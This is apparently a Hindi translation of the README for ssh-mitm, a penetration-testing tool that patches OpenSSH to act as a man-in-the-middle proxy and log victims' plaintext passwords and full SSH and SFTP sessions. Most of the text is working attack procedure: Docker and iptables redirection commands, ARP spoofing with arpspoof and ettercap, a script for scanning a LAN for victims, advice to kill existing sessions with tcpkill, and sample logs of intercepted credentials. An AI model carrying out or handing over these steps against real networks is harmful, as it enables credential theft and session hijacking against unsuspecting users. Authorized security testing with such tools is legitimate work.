
SSH मैन-इन-द-मिडिल टूल
लेखक: Joe Testa (@therealjoetesta)
यह पैठ परीक्षण उपकरण एक लेखा परीक्षक को SSH कनेक्शनों को इंटरसेप्ट करने की अनुमति देता है। OpenSSH v7.5p1 स्रोत कोड पर लागू एक पैच इसे पीड़ित और उनके इच्छित SSH सर्वर के बीच एक प्रॉक्सी के रूप में कार्य करने का कारण बनता है; सभी सादा पाठ पासवर्ड और सत्र डिस्क पर लॉग किए जाते हैं।
बेशक, पीड़ित का SSH क्लाइंट शिकायत करेगा कि सर्वर की कुंजी बदल गई है। लेकिन क्योंकि 99.99999% समय यह एक वैध कार्रवाई (OS पुनर्स्थापना, कॉन्फ़िगरेशन परिवर्तन, आदि) के कारण होता है, कई/अधिकांश उपयोगकर्ता चेतावनी को अनदेखा कर देंगे और जारी रखेंगे।
नोट: संशोधित sshd_mitm को केवल VM या कंटेनर में चलाएँ! OpenSSH स्रोतों में महत्वपूर्ण क्षेत्रों में तदर्थ संपादन किए गए थे, उनके सुरक्षा प्रभावों के लिए कोई ध्यान नहीं दिया गया। यह कल्पना करना कठिन नहीं है कि ये संपादन गंभीर कमजोरियाँ पैदा करते हैं।
आरंभ करने का सबसे तेज़ और आसान तरीका है पूर्व-निर्मित SSH MITM के साथ डॉकर इमेज का उपयोग करना।
1.) Dockerhub से इमेज प्राप्त करें:
$ docker pull positronsecurity/ssh-mitm
2.) इसके बाद, कंटेनर को इस प्रकार चलाएँ:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) अपने होस्ट मशीन पर IP फ़ॉरवर्डिंग और NATिंग रूट सक्षम करें:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) LAN पर लक्ष्य खोजें, और उन्हें ARP स्पूफ़ करें (नीचे देखें)।
5.) शेल और SFTP सत्र ssh_mitm_logs निर्देशिका में लॉग किए जाएँगे।
रूट के रूप में, install.sh स्क्रिप्ट चलाएँ। यह रिपॉजिटरी से पूर्वापेक्षाएँ स्थापित करेगा, OpenSSH संग्रह डाउनलोड करेगा, उसके हस्ताक्षर सत्यापित करेगा, उसे संकलित करेगा, और निष्पादन के लिए एक गैर-विशेषाधिकार प्राप्त वातावरण आरंभ करेगा।
JoesAwesomeSSHMITMVictimFinder.py स्क्रिप्ट LAN पर लक्ष्य खोजना बहुत आसान बनाती है। यह IPs के एक ब्लॉक को ARP स्पूफ़ करेगी और अगले ब्लॉक पर जाने से पहले थोड़े समय के लिए SSH ट्रैफ़िक सूँघेगी। LAN पर उपकरणों से उत्पन्न होने वाले किसी भी चल रहे SSH कनेक्शन की रिपोर्ट की जाती है।
डिफ़ॉल्ट रूप से, JoesAwesomeSSHMITMVictimFinder.py एक बार में केवल 5 IPs को ARP स्पूफ़ करेगी और 20 सेकंड के लिए सूँघेगी, फिर अगले 5 के ब्लॉक पर जाएगी। इन मापदंडों को ट्यून किया जा सकता है, हालांकि एक व्यापार-बंद मौजूद है: एक बार में जितने अधिक IPs स्पूफ़ किए जाते हैं, आपके द्वारा एक चल रहे SSH कनेक्शन को पकड़ने की संभावना उतनी ही अधिक होती है, लेकिन आपके छोटे से नेटवर्क इंटरफ़ेस पर दबाव भी उतना ही अधिक होता है। बहुत अधिक लोड के तहत, आपका इंटरफ़ेस फ्रेम गिराना शुरू कर देगा, जिससे सेवा से वंचित होना और संदेह बहुत बढ़ जाएगा (यह बुरा है)। डिफ़ॉल्ट अधिकांश मामलों में समस्या पैदा नहीं करना चाहिए, हालांकि लक्ष्य खोजने में अधिक समय लगेगा। कम उपयोग वाले नेटवर्क पर ब्लॉक आकार को सुरक्षित रूप से बढ़ाया जा सकता है।
उदाहरण:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
उपरोक्त आउटपुट दिखाता है कि LAN पर दो डिवाइसों ने SSH कनेक्शन बनाए हैं (10.11.12.43 और 10.11.12.70); इन्हें मैन-इन-द-मिडिल हमले के लिए लक्षित किया जा सकता है। हालांकि, ध्यान दें कि क्रेडेंशियल्स को संभावित रूप से इंटरसेप्ट करने के लिए, आपको उनके नए कनेक्शन शुरू करने की प्रतीक्षा करनी होगी। अधीर पैठ परीक्षक मौजूदा SSH सत्रों को जबरदस्ती बंद करने का विकल्प चुन सकते हैं (tcpkill टूल का उपयोग करके), जिससे क्लाइंट तुरंत नए कनेक्शन बनाने के लिए प्रेरित होंगे...
1.) एक बार जब आप प्रारंभिक सेटअप पूरा कर लेते हैं और संभावित पीड़ितों की सूची पा लेते हैं (ऊपर देखें), रूट के रूप में start.sh निष्पादित करें। यह sshd_mitm शुरू करेगा, IP फ़ॉरवर्डिंग सक्षम करेगा, और iptables के माध्यम से SSH पैकेट इंटरसेप्शन सेट करेगा।
2.) लक्ष्य को ARP स्पूफ़ करें (प्रो टिप: सब कुछ स्पूफ़ न करें! आपका छोटा नेटवर्क इंटरफ़ेस संभवतः एक साथ पूरे नेटवर्क के ट्रैफ़िक को संभालने में सक्षम नहीं होगा। एक बार में केवल कुछ IPs स्पूफ़ करें):
arpspoof -r -t 192.168.x.1 192.168.x.5
वैकल्पिक रूप से, आप ettercap टूल का उपयोग कर सकते हैं:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) auth.log की निगरानी करें। इंटरसेप्ट किए गए पासवर्ड यहाँ दिखाई देंगे:
sudo tail -f /var/log/auth.log
4.) एक बार सत्र स्थापित हो जाने पर, सभी इनपुट और आउटपुट का पूरा लॉग /home/ssh-mitm/ में पाया जा सकता है। SSH सत्रों को shell_session_*.txt के रूप में, और SFTP सत्रों को sftp_session_*.html के रूप में लॉग किया जाता है (स्थानांतरित फ़ाइलें एक संबंधित निर्देशिका में संग्रहीत होती हैं)।
सफलता पर, /var/log/auth.log में पासवर्ड लॉग करने वाली पंक्तियाँ होंगी, जैसे:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
इसके अलावा, पीड़ित का संपूर्ण SSH सत्र लॉग होता है:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
ध्यान दें कि उपयोगकर्ता के कमांड में वर्ण फ़ाइल में दो बार दिखाई देते हैं क्योंकि उपयोगकर्ता से इनपुट रिकॉर्ड किया जाता है, साथ ही शेल से आउटपुट (जो वर्णों को वापस प्रतिध्वनित करता है)। देखें कि जब sudo और ssh जैसे प्रोग्राम पासवर्ड पढ़ने के लिए अस्थायी रूप से प्रतिध्वनि अक्षम करते हैं, तो डुप्लिकेट वर्ण लॉग नहीं होते हैं।
सभी SFTP गतिविधि भी कैप्चर की जाती है। sftp_session_0.html देखने के लिए ब्राउज़र का उपयोग करें। इसमें अपलोड और डाउनलोड की गई फ़ाइलों के लिंक के साथ कमांड का एक लॉग होता है:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="https://github.com/jtesta/ssh-mitm/blob/master/sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
lol.h में दो डिफ़ाइन हैं: DEBUG_HOST और DEBUG_PORT। उन्हें सक्षम करें और होस्टनाम को एक परीक्षण सर्वर पर सेट करें। अब आप अपने परिवर्तनों का परीक्षण करने के लिए ARP स्पूफिंग का उपयोग किए बिना सीधे sshd_mitm से कनेक्ट कर सकते हैं, जैसे:
ssh -p 2222 valid_user_on_debug_host@localhost
OpenSSH स्रोत कोड में परिवर्तनों का परीक्षण करने के लिए, dev/redeploy.sh स्क्रिप्ट का उपयोग करें।
अप्रतिबद्ध परिवर्तनों का अंतर देखने के लिए, dev/make_diff_of_uncommitted_changes.sh स्क्रिप्ट का उपयोग करें।
OpenSSH स्रोतों के लिए पूर्ण पैच को पुनः उत्पन्न करने के लिए, dev/regenerate_patch.sh स्क्रिप्ट का उपयोग करें।